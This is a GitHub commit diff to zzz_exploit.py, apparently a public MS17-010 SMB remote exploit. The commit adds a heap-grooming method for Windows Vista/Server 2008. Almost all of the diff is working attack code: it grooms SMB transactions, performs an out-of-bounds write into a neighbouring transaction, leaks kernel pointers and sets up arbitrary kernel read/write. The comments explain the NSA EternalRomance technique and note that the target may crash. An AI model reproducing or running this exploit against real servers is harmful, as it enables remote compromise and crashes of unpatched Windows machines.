Skip to content

Commit

Permalink
add support Windows Server 2008
Browse files Browse the repository at this point in the history
  • Loading branch information
worawit committed Jul 15, 2017
1 parent 13ec945 commit 395aff2
Showing 1 changed file with 185 additions and 4 deletions.
189 changes: 185 additions & 4 deletions zzz_exploit.py
Original file line number Diff line number Diff line change
Expand Up @@ -19,13 +19,36 @@
- Windows 8.1 x64
- Windows 2008 R2 SP1 x64
- Windows 7 SP1 x64
- Windows 2008 SP1 x64
- Windows 8.1 x86
- Windows 7 SP1 x86
- Windows 2008 SP1 x86
'''

USERNAME = ''
PASSWORD = ''

'''
A transaction with empty setup:
- it is allocated from paged pool (same as other transaction types) on Windows 7 and later
- it is allocated from private heap (RtlAllocateHeap()) with no on use it on Windows Vista and earlier
- no lookaside or caching method for allocating it
Note: method name is from NSA eternalromance
For Windows 7 and later, it is good to use matched pair method (one is large pool and another one is fit
for freed pool from large pool). Additionally, the exploit does the information leak to check transactions
alignment before doing OOB write. So this exploit should never crash a target.
For Windows Vista and earlier, matched pair method is impossible because we cannot allocate transaction size
smaller than PAGE_SIZE (Windows XP can but large page pool does not split the last page of allocation). But
a transaction with empty setup is allocated on private heap (it is created by RtlCreateHeap() on initialing server).
Only this transaction type uses this heap. Normally, no one uses this transaction type. So transactions alignment
in this private heap should be very easy and very reliable (fish in a barrel in NSA eternalromance). The drawback
of this method is we cannot do information leak to verify transactions alignment before OOB write.
So this exploit has a chance to crash target same as NSA eternalromance on Windows Vista and earlier.
'''

'''
Reversed from: SrvAllocateSecurityContext() and SrvImpersonateSecurityContext()
win7 x64
Expand Down Expand Up @@ -57,7 +80,7 @@
BOOLEAN UsePsImpersonateClient; // 0x30
}
SrvImpersonateSecurityContext() is used in Windows 7 and later before doing any operation as logged on user.
SrvImpersonateSecurityContext() is used in Windows Vista and later before doing any operation as logged on user.
It called PsImperonateClient() if SrvSecContext.UsePsImpersonateClient is true.
From https://msdn.microsoft.com/en-us/library/windows/hardware/ff551907(v=vs.85).aspx, if Token is NULL,
PsImperonateClient() ends the impersonation. Even there is no impersonation, the PsImperonateClient() returns
Expand Down Expand Up @@ -96,7 +119,7 @@
}

OS_ARCH_INFO = {
# for Windows 7 and 2008 R2
# for Windows Vista, 2008, 7 and 2008 R2
'WIN7': {
'x86': WIN7_32_INFO,
'x64': WIN7_64_INFO,
Expand Down Expand Up @@ -145,6 +168,7 @@
}

TRANS_NAME_LEN = 4
HEAP_HDR_SIZE = 8 # heap chunk header size


def calc_alloc_size(size, align_size):
Expand Down Expand Up @@ -175,6 +199,7 @@ def next_extra_mid():
GROOM_TRANS_SIZE = 0x5010

def leak_frag_size(conn, tid, fid):
# this method can be used on Windows Vista/2008 and later
# leak "Frag" pool size and determine target architecture
info = {}

Expand Down Expand Up @@ -332,6 +357,8 @@ def align_transaction_and_leak(conn, tid, fid, info, numFill=4):
}

def exploit_matched_pairs(conn, pipe_name, info):
# for Windows 7/2008 R2 and later

tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
conn.set_default_tid(tid)
# fid for first open is always 0x4000. We can open named pipe multiple times to get other fids.
Expand Down Expand Up @@ -399,7 +426,7 @@ def exploit_matched_pairs(conn, pipe_name, info):
print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
print('!!! Write to wrong place !!!')
print('the target might be crashed')
sys.exit()
return False

print('success controlling groom transaction')

Expand Down Expand Up @@ -427,6 +454,155 @@ def exploit_matched_pairs(conn, pipe_name, info):
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET'])
return True

def exploit_fish_barrel(conn, pipe_name, info):
# for Windows Vista/2008 and earlier

tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
conn.set_default_tid(tid)
# fid for first open is always 0x4000. We can open named pipe multiple times to get other fids.
fid = conn.nt_create_andx(tid, pipe_name)
info['fid'] = fid

if info['os'] == 'WIN7':
# leak_frag_size() can be used against Windows Vista/2008 to determine target architecture
info.update(leak_frag_size(conn, tid, fid))

if 'arch' in info:
# add os and arch specific exploit info
info.update(OS_ARCH_INFO[info['os']][info['arch']])
else:
# TODO: do not know target architecture (now assume architecture is known)
# this case is only for Windows 2003
return False

# ================================
# groom packets
# ================================
# sum of transaction name, parameters and data length is 0x1000
# paramterCount = 0x100-TRANS_NAME_LEN
print('Groom packets')
trans_param = pack('<HH', info['fid'], 0)
for i in range(12):
mid = info['fid'] if i == 8 else next_extra_mid()
conn.send_trans('', mid=mid, param=trans_param, totalParameterCount=0x100-TRANS_NAME_LEN, totalDataCount=0xec0, maxParameterCount=0x40, maxDataCount=0)

# ================================
# shift transaction Indata ptr with SmbWriteAndX
# ================================
shift_indata_byte = 0x200
conn.do_write_andx_raw_pipe(info['fid'], 'A'*shift_indata_byte)

# ================================
# Dangerous operation: attempt to control one transaction
# ================================
# POOL_ALIGN value is same as heap alignment value
# TODO: try offset of 64 bit then 32 bit when no target architecture
HEAP_CHUNK_PAD_SIZE = (info['POOL_ALIGN'] - (info['TRANS_SIZE']+HEAP_HDR_SIZE) % info['POOL_ALIGN']) % info['POOL_ALIGN']
NEXT_TRANS_OFFSET = 0xf00 - shift_indata_byte + HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE

# Below operation is dangerous. Write only 1 byte with '\x00' might be safe even alignment is wrong.
conn.send_trans_secondary(mid=info['fid'], data='\x00', dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_MID_OFFSET'])
wait_for_request_processed(conn)

# if the overwritten is correct, a modified transaction mid should be special_mid now.
# a new transaction with special_mid should be error.
recvPkt = conn.send_nt_trans(5, mid=special_mid, param=trans_param, data='')
if recvPkt.getNTStatus() != 0x10002: # invalid SMB
print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
print('!!! Write to wrong place !!!')
print('the target might be crashed')
return False

print('success controlling one transaction')

# NSA eternalromance modify transaction RefCount to keep controlled and reuse transaction after leaking info.
# This is easy to to but the modified transaction will never be freed. The next exploit attempt might be harder
# because of this unfreed memory chunk. I will avoid it.

# modify transactions before leaking transaction info
print('modify parameter count to 0xffffffff to be able to write backward')
conn.send_trans_secondary(mid=info['fid'], data='\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET'])
# on 64 bit, modify InParam last 4 bytes to \xff\xff\xff\xff to write backward
# this works because all transaction with empty setup is allocated with RtlAllocateHeap()
if info['arch'] == 'x64':
conn.send_trans_secondary(mid=info['fid'], data='\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
wait_for_request_processed(conn)

TRANS_CHUNK_SIZE = HEAP_HDR_SIZE + info['TRANS_SIZE'] + 0x1000 + HEAP_CHUNK_PAD_SIZE
PREV_TRANS_DISPLACEMENT = TRANS_CHUNK_SIZE + info['TRANS_SIZE'] + TRANS_NAME_LEN
PREV_TRANS_OFFSET = 0x100000000 - PREV_TRANS_DISPLACEMENT

# modify paramterCount of first transaction
conn.send_nt_trans_secondary(mid=special_mid, param='\xff'*4, paramDisplacement=PREV_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET'])
if info['arch'] == 'x64':
conn.send_nt_trans_secondary(mid=special_mid, param='\xff'*4, paramDisplacement=PREV_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
# restore InParameters pointer before leaking next transaction
conn.send_trans_secondary(mid=info['fid'], data='\x00'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
wait_for_request_processed(conn)

# ================================
# leak transaction
# ================================
print('leak next transaction')
# modify TRANSACTION member to leak info
# function=5 (NT_TRANS_RENAME)
conn.send_trans_secondary(mid=info['fid'], data='\x05', dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_FUNCTION_OFFSET'])
# parameterCount, totalParameterCount, maxParameterCount, dataCount, totalDataCount
conn.send_trans_secondary(mid=info['fid'], data=pack('<IIIII', 4, 4, 4, 0x100, 0x100), dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_PARAMCNT_OFFSET'])

conn.send_nt_trans_secondary(mid=special_mid)
leakData = conn.recv_transaction_data(special_mid, 0x100)
leakData = leakData[4:] # remove param
#open('leak.dat', 'wb').write(leakData)

# check heap chunk size value in leak data
if unpack_from('<H', leakData, HEAP_CHUNK_PAD_SIZE)[0] != (TRANS_CHUNK_SIZE // info['POOL_ALIGN']):
print('chunk size is wrong')
return False

leakTranOffset = HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE
leakTrans = leakData[leakTranOffset:]
fmt = info['PTR_FMT']
_, connection_addr, session_addr, treeconnect_addr, flink_value = unpack_from('<'+fmt*5, leakTrans, 8)
inparam_value, outparam_value, indata_value = unpack_from('<'+fmt*3, leakTrans, info['TRANS_INPARAM_OFFSET'])
trans2_mid = unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0]

print('CONNECTION: 0x{:x}'.format(connection_addr))
print('SESSION: 0x{:x}'.format(session_addr))
print('FLINK: 0x{:x}'.format(flink_value))
print('InData: 0x{:x}'.format(indata_value))
print('MID: 0x{:x}'.format(trans2_mid))

trans2_addr = inparam_value - info['TRANS_SIZE'] - TRANS_NAME_LEN
trans1_addr = trans2_addr - TRANS_CHUNK_SIZE * 2
print('TRANS1: 0x{:x}'.format(trans1_addr))
print('TRANS2: 0x{:x}'.format(trans2_addr))

# ================================
# modify trans struct to be used for arbitrary read/write
# ================================
print('modify transaction struct for arbitrary read/write')
# modify
# - trans1.mid
# - trans1.InParameter to &trans1. so we can modify trans1 struct with itself
# - trans1.InData to &trans2. so we can modify trans2 easily
TRANS_OFFSET = 0x100000000 - (info['TRANS_SIZE'] + TRANS_NAME_LEN)
conn.send_nt_trans_secondary(mid=info['fid'], param=pack('<'+fmt*3, trans1_addr, trans1_addr+0x200, trans2_addr), paramDisplacement=TRANS_OFFSET+info['TRANS_INPARAM_OFFSET'])
wait_for_request_processed(conn)

trans1_mid = conn.next_mid()
conn.send_trans_secondary(mid=info['fid'], param=pack('<H', trans1_mid), paramDisplacement=info['TRANS_MID_OFFSET'])
wait_for_request_processed(conn)

info.update({
'connection': connection_addr,
'session': session_addr,
'trans1_mid': trans1_mid,
'trans1_addr': trans1_addr,
'trans2_mid': trans2_mid,
'trans2_addr': trans2_addr,
})
return True

def exploit(target, pipe_name):
conn = MYSMB(target)
Expand All @@ -441,13 +617,18 @@ def exploit(target, pipe_name):
print('Target OS: '+server_os)
if server_os.startswith("Windows 7 ") or server_os.startswith("Windows Server 2008 R2"):
info['os'] = 'WIN7'
info['method'] = exploit_matched_pairs
elif server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ") or server_os.startswith("Windows Server 2016 "):
info['os'] = 'WIN8'
info['method'] = exploit_matched_pairs
elif server_os.startswith("Windows Server (R) 2008"):
info['os'] = 'WIN7'
info['method'] = exploit_fish_barrel
else:
print('This exploit does not support this target')
sys.exit()

if not exploit_matched_pairs(conn, pipe_name, info):
if not info['method'](conn, pipe_name, info):
return False

# Now, read_data() and write_data() can be used for arbitrary read and write.
Expand Down

0 comments on commit 395aff2

Please sign in to comment.